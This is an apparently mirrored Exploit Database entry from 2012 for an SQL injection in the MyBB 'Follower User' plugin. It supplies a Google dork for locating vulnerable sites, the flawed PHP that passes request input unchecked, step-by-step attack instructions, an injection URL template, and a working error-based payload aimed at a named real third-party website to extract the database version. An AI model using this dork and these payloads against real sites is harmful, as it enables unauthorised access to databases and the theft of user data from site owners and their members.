MyBB Follower User Plugin – SQL Injection

• Exploit Database
• 234 阅读

• 作者： Zixem
  日期： 2012-11-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22405/

• # Exploit Title: Follower User MyBB plugin SQL Injection 0day
  # Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us
  # Date: 13.10.2012
  # Exploit Author: Zixem
  # Software Link: http://mods.mybb.com/view/suscriber-user
  # Version: 1.5+
  # Tested on: Linux.
  ----------------------------------------------
  
  The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():
  
  <?
  	$usid = $mybb->input[usid];	//Line 671
  	$uid = $mybb->input[uid];	//Line 672
  	if(user_awaiting($uid,$usid))	//Line 781
  	{				//Line 782
  		redirect("member.php?action=profile&uid=".$usid."#suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
  	}				//Line 784
  ?>
  
  
  ----------------------------------------------
  
  Instructions: 
  1. Create a new account on the target site.
  2. Check your User ID by entering your profile link and write it down.
  3. Enter here and start to inject your code:
  
  /misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]
  
  ----------------------------------------------
  
  Demo: 
  http://www.chidomobil-gc.com/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
  Image : http://i.imgur.com/eGhzJ.png
  
  
  Follow: https://twitter.com/PonyBlaze
  
  
  Shotouts goes to FillySec.
  

  Python

  Copy